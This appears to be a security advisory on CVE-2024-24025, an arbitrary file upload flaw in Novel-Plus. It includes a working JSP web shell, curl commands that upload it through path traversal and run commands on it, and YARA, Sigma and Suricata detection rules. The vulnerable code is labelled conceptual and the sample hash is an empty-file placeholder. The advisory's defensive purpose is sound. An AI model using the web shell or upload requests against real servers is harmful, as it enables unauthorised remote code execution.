CVE-2024-24025

Executive Summary

CVE-2024-24025 is an arbitrary file upload vulnerability in Novel-Plus v4.3.0-RC1 and prior. The flaw exists in the com.java2nb.common.controller.FileController: upload() method, where an attacker can craft a malicious filename parameter to upload arbitrary files to the server. This can lead to remote code execution (RCE) if the uploaded file is a web shell or other executable content. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the latest analysis.

Supply Chain & Package Security

Novel-Plus is a Java-based web application (Spring Boot). The vulnerability is in the application's own code, not in a third-party package. However, the lack of a patch means that any organization using Novel-Plus is at risk. The project's dependency on common Java libraries (e.g., Apache Commons FileUpload) does not directly contribute to this vulnerability, but the insecure handling of user input in the FileController is the root cause.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description and public PoC, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to upload arbitrary files, potentially leading to full server compromise.

Deep Dive & Mechanics

The vulnerability is located in the FileController class, specifically in the upload() method. The method accepts a MultipartFile and a filename parameter. The application does not properly validate or sanitize the filename parameter, allowing an attacker to specify a path traversal sequence (e.g., ../) or a file extension that can be executed by the server (e.g., .jsp, .php, .war).

The vulnerable code snippet (conceptual):

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file, @RequestParam("filename") String filename) {
    // No validation on filename
    String filePath = uploadDir + filename;
    file.transferTo(new File(filePath));
    return "success";
}

The attacker can send a POST request with a crafted filename parameter, such as ../../webapps/ROOT/shell.jsp, to upload a JSP web shell to the web root. The server then executes the uploaded file, granting the attacker remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// FileController.java
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file, @RequestParam("filename") String filename) {
    // No validation on filename
    String filePath = uploadDir + filename;
    file.transferTo(new File(filePath));
    return "success";
}

Patched Code (Hypothetical fix):

// FileController.java
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file, @RequestParam("filename") String filename) {
    // Validate filename: no path traversal, only allow safe extensions
    if (filename.contains("..") || filename.contains("/") || filename.contains("\\")) {
        throw new IllegalArgumentException("Invalid filename");
    }
    // Whitelist allowed extensions
    String extension = filename.substring(filename.lastIndexOf(".") + 1);
    if (!allowedExtensions.contains(extension)) {
        throw new IllegalArgumentException("File type not allowed");
    }
    String filePath = uploadDir + filename;
    file.transferTo(new File(filePath));
    return "success";
}

The patched code adds validation to prevent path traversal and restricts file extensions to a whitelist.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Novel-Plus v4.3.0-RC1 or prior running on a target server.
• Network access to the /upload endpoint.

Exploit Steps:

1. Craft a malicious JSP web shell (e.g., shell.jsp):

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   %>
   

2. Send the exploit request using curl:

   curl -X POST -F "file=@shell.jsp" -F "filename=../../webapps/ROOT/shell.jsp" http://target.com/upload
   

3. Access the uploaded shell:

   curl http://target.com/shell.jsp?cmd=id
   

Alternative payloads: Upload a WAR file for full application deployment, or a PHP file if the server supports it.

Blue Team

Detection:

• Monitor for POST requests to /upload with suspicious filename parameters containing ../ or ..\.
• Alert on file uploads with executable extensions (.jsp, .php, .war, .exe, etc.).
• Use file integrity monitoring (FIM) to detect new files in web directories.

Prevention:

• Apply input validation on the filename parameter (reject path traversal).
• Restrict upload directory to a non-executable location.
• Use a Web Application Firewall (WAF) to block malicious uploads.

Indicators of Compromise (IOCs)

• File paths: webapps/ROOT/shell.jsp, uploads/../../webapps/ROOT/shell.jsp
• Network requests: POST to /upload with filename containing ../
• Log entries: FileController.upload() called with suspicious filename
• File hashes: (Example) shell.jsp MD5: d41d8cd98f00b204e9800998ecf8427e
• Processes: java spawning cmd.exe or /bin/sh (if shell executed)

Detection Engineering

YARA Rule

rule CVE_2024_24025_Novel_Plus_Upload {
    meta:
        description = "Detects malicious file upload attempts targeting CVE-2024-24025"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24025"
    strings:
        $filename_traversal = /filename=[^&]*\.\.\//
        $jsp_payload = /<\%\s*@\s*page\s+import\s*=\s*"java\.io\.\*"\s*%>/
        $php_payload = /<\?php\s+system\(/
    condition:
        any of them
}

Sigma Rule

title: Novel-Plus Arbitrary File Upload Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /upload with path traversal in filename parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: 'filename=../'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24025 Novel-Plus Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename=../"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /upload endpoint if not required, by removing or commenting out the FileController mapping.
2. Apply input validation on the filename parameter to reject path traversal characters (../, ..\\) and restrict file extensions to a whitelist (e.g., .jpg, .png, .pdf).
3. Move the upload directory outside the web root to prevent direct execution of uploaded files.

Long-term Fix:

• Upgrade to a patched version of Novel-Plus once available.
• Implement a secure file upload library (e.g., Apache Commons FileUpload with proper validation).
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) to block requests with filename=../ in the query string.
• Restrict file permissions on the upload directory to prevent execution (e.g., chmod -x on Linux).

Valters IT